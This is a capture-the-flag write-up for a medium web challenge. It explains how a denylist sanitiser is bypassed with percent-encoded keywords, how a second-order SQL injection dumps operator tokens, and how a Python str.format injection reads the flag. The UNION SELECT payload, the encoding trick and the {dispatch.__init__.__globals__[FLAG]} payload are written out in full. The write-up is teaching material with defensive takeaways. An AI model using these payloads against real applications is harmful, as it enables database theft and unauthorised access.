CSCTF 2026Web
Operation Dawn: The Dispatch Console
The console filters request parameters for union, select and --, but it checks the raw, still-URL-encoded body, while the model binder decodes it afterwards.
- Competition
CSCTF 2026- Category
- WebMedium
- Source status
- Source-documented · not platform-verified
- Document
- PDF edition4 min read
Brief
The challenge
- Category
- Web
- Difficulty
- Medium
- Points
- 430
- Target
http://w03.ctf.chronos-security.ro:<port>(AshNet-Dispatch 4.3)
Operation Dawn, annex entry 08. We captured the Ash field dispatch console and stood it back up. A plain visitor can read and file dispatches, but the command net is locked and its standing order with it. The console runs everything past a sanitiser before it touches the database. Get command's standing order.
TL;DR
The console filters request parameters for union, select and --, but it checks the raw, still-URL-encoded body, while the model binder decodes it afterwards. So sel%65ct passes the filter and is stored as select. A filed dispatch's callsign is later concatenated unsanitised into the /digest query (... WHERE callsign='<stored>') — a classic second-order SQL injection. Through it I UNION SELECT the operators table, recover the command operator token, and reach /report. The /report fmt field is then a Python str.format() injection, so {dispatch.__init__.__globals__[FLAG]} prints the flag.
file dispatch with URL-encoded "union/select" → bypass sanitiser→ second-order SQLi in /digest → dump operators.token (WARDEN / role=command)→ /report?token=... → str.format injection → {dispatch.__init__.__globals__[FLAG]}01
Recon
The app (Server: AshNet-Dispatch/4.3, strict CSP, no JS) has four actions, all reachable without login:
GET /dispatches?callsign=— read a callsign's dispatches.POST /post(callsign, body) — file a dispatch; "passed through the console sanitiser before the unit log is touched."GET /digest— the duty officer's per-callsign roll-up of the whole unit log.GET /report?token=&fmt=— renders command's standing order from a template, but requires a command operator token (command authorisation required, HTTP 403).
Default template: dispatch {dispatch.ref}: {dispatch.body}.
02
Mapping the sanitiser
Direct SQLi is dead: /dispatches, /post and /report's token all treat quotes as literals (parameterised). The sanitiser rejects (HTTP 403, "request rejected by console sanitiser") only three case-insensitive substrings:
unionselect--
Everything else (', ;, /* */, #, ||, or, and, hex…) passes. Blocking exactly union/select is the tell: the intended attack needs them, so a bypass must exist.
03
Second-order SQL injection in the digest
Filing a dispatch and running /digest shows the dispatch grouped by callsign. Filing a dispatch whose callsign is ZX' OR '1'='1 makes that group report every row in the table:
ZX' OR '1'='1: 27 dispatch(es) - Relief party reached post four. No contact. ...So the digest builds, per stored callsign, a query like:
SELECT body FROM dispatches WHERE callsign = '<stored_callsign>'The stored value comes straight from the DB and is never re-sanitised — second-order injection. But to UNION SELECT another table I still have to get union/select into the stored callsign, and the POST sanitiser blocks them.
04
Bypassing the sanitiser (raw vs decoded)
The sanitiser inspects the request body before URL-decoding; the form binder decodes after. Proof:
| POST callsign (raw body) | result | stored as |
|---|---|---|
ENCD+select | 403 rejected | — |
ENCA%73elect_marker | 201 filed | ENCAselect_marker |
ENCC+uni%6fn+sel%65ct | 201 filed | ENCC union select |
Percent-encoding a single letter (sel%65ct, uni%6fn, %2d%2d) slips past the filter, and the stored, decoded value contains the real keyword. Combined with step 3, that is a full UNION SELECT primitive. (inj.py encodes these automatically.)
05
Dumping the database
SQLite 3.46.1, one column in the digest's SELECT. Enumerating:
tables : operators | dispatchesoperators: CREATE TABLE operators (id INTEGER PRIMARY KEY, callsign TEXT, token TEXT, role TEXT)Dumping operators:
EMBER :: post :: OP-3cdbc38a9f383cd1de84CINDER :: post :: OP-0ed1cffc444698ecdd50WARDEN :: command :: AC-7bf4511075bb7cf7726bee5fWARDEN has role=command. Its token is the command operator token.
Injection payload (keywords get percent-encoded by inj.py before sending):
callsign = OPSX1' UNION SELECT group_concat(callsign||' :: '||role||' :: '||token, ' || ') FROM operators WHERE 'a'='a06
/report and the Python format-string injection
With the token, /report renders the standing order:
/report?token=AC-7bf4511075bb7cf7726bee5f&fmt=dispatch {dispatch.ref}: {dispatch.body}→ Rendered order dispatch 0001: Command net quiet. Hold positions.The body is only flavour. The error messages give the real bug away — this is Python, not .NET:
fmt={dispatch} → <__main__.Dispatch object at 0x...>fmt={dispatch.callsign} → 'Dispatch' object has no attribute 'callsign'fmt={0} → Replacement index 0 out of range for positional args tuplefmt is passed to str.format(dispatch=...), so it's a format-string injection. Walk from the object to module globals:
/report?token=AC-7bf4511075bb7cf7726bee5f&fmt={dispatch.__init__.__globals__[FLAG]}→ Rendered order CSCTF{BxbxTMX9cTtd17vVNOiv49dW}Flag
Flag
CSCTF{BxbxTMX9cTtd17vVNOiv49dW}
Source-documented · not platform-verified
Tooling
d.py— helpers to read dispatches / digest / report and probe the sanitiser.inj.py— second-order SQLi primitive: percent-encodesunion/select/--, files the crafted callsign, then reads that group back out of the digest.
Takeaways
A denylist that runs on a different representation than the one that reaches the sink is no defence: the sanitiser saw
sel%65ct, the database sawselect.Parameterise every query. The reads were safe, but a value re-used from the database into the digest query was concatenated and reintroduced the vulnerability (second order).
Never hand user input to
str.format()as the format string —{obj.__init__.__globals__[...]}reaches arbitrary module state.